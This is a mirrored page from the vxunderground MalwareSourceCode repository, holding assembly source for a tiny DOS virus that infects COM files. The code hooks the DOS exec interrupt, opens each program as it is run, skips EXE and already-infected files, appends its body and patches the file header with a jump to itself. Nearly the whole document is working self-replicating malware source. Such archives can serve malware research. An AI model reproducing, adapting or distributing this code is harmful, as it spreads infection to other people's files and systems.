mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
94 lines
3.2 KiB
NASM
94 lines
3.2 KiB
NASM
VSize=085h
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Code Segment
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Assume CS:Code
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org 0
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db 4Dh
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jmp Start
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Org 600h
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Bytes db 0CDh,20h,90h,90h
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Start: mov si, 0100h
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mov bx, offset Int21
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mov cx, 0050h
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mov di, si
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add si, [si+2]
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push di
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movsw
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movsw
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mov es, cx
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cmpsb
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je StartFile
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dec si
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dec di
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rep movsw
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mov es, cx
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xchg ax, bx
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xchg ax, cx
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Loop0: xchg ax, cx
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xchg ax, word ptr es:[di-120h]
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stosw
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jcxz Loop0
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xchg ax, bx
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StartFile:
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push ds
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pop es
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ret
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Int21: cmp ax, 4B00h
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jne End21
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Exec: push ax
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push bx
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push dx
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push ds
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push es
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mov ax, 3D02h
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call DoInt21
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jc EndExec
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cbw ;Zero AH
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cwd ;Zero DX
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mov bx, si ;Move handle to BX
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mov ds, ax ;Set DS and ES to 60h,
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mov es, ax ;the virus data segment
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mov ah, 3Fh ;Read first 4 bytes
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int 69h
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mov al, 4Dh
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scasb ;Check for 4D5Ah or infected file mark
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je Close ;.EXE or already infected
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mov al, 2
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call LSeek ;Seek to the end, SI now contains file size
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mov cl, VSize ;Virus size in CX, prepare to write
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int 69h ;AH is 40h, i.e. Write operation
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mov ax, 0E94Dh ;Virus header in AX
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stosw ;Store it
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xchg ax, si ;Move file size in AX
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stosw ;Complete JMP instruction
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xchg ax, dx ;Zero AX
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call LSeek ;Seek to the beginning
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int 69h ;AH is 40h, write the virus header
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Close: mov ah,3Eh ;Close the file
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int 69h
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EndExec: pop es
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pop ds
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pop dx
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pop bx
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pop ax
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End21: jmp dword ptr cs:[69h * 4]
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LSeek: mov ah, 42h ;Seek operation
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cwd ;Zero DX
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DoInt21: xor cx, cx ;External entry for Open, zero cx
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int 69h
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mov cl, 4 ;4 bytes will be read/written
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xchg ax, si ;Store AX in SI
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mov ax, 4060h ;Prepare AH for Write
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xor di, di ;Zero DI
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ret
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VLen = $ - offset Bytes
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Code EndS
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End
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